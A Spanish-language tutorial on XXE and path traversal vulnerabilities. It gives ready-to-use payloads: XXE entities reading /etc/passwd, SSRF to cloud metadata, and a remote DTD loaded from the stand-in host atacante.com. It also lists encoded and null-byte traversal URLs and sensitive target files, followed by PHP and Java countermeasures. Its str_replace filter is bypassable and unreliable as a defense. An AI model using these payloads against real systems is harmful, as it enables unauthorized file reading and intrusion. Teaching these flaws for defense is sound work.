Explotación de vulnerabilidades XXE (XML External Entities) y Path Traversal, con sus respectivas contramedidas.
Ocurre cuando una aplicación procesa XML controlado por el usuario y el parser tiene habilitadas las entidades externas DTD. Permite leer archivos del sistema, SSRF y en casos avanzados, RCE.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://atacante.com/evil.dtd">
%remote;
]>
<?php
// Deshabilitar entidades externas en PHP:
libxml_disable_entity_loader(true);
// En Java:
// DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Validar y sanitizar todo XML de entrada
// Usar formatos alternativos (JSON) cuando sea posible
Permite acceder a archivos fuera del directorio permitido usando secuencias ../ para navegar la estructura de directorios del servidor.
# En parámetros de URL que incluyen archivos:
http://target.com/download?file=../../../etc/passwd
http://target.com/view?page=../../../../windows/win.ini
# Con codificación URL para evadir filtros básicos:
http://target.com/file?name=..%2F..%2F..%2Fetc%2Fpasswd
# Con doble codificación:
http://target.com/file?name=..%252F..%252F..%252Fetc%252Fpasswd
# Con null byte (PHP < 5.3):
http://target.com/file?name=../../../etc/passwd%00.jpg
# Linux:
../../../etc/passwd # Usuarios del sistema
../../../etc/shadow # Hashes de contraseñas
../../../etc/hosts # Resolución DNS local
../../../proc/self/environ # Variables de entorno del proceso
../../../var/log/apache2/access.log # Logs de Apache
# Windows:
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
<?php
// 1. Usar realpath() y verificar que el archivo está en el directorio permitido:
$base_dir = '/var/www/files/';
$file = $_GET['file'];
$real_path = realpath($base_dir . $file);
if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
http_response_code(403);
die('Acceso denegado');
}
readfile($real_path);
// 2. Lista blanca de archivos permitidos:
$allowed = ['manual.pdf', 'guia.pdf', 'catalogo.pdf'];
if (!in_array($file, $allowed)) {
die('Archivo no permitido');
}
// 3. Eliminar secuencias peligrosas:
$file = str_replace(['../', '..\\', '../', '..\\'], '', $_GET['file']);
?>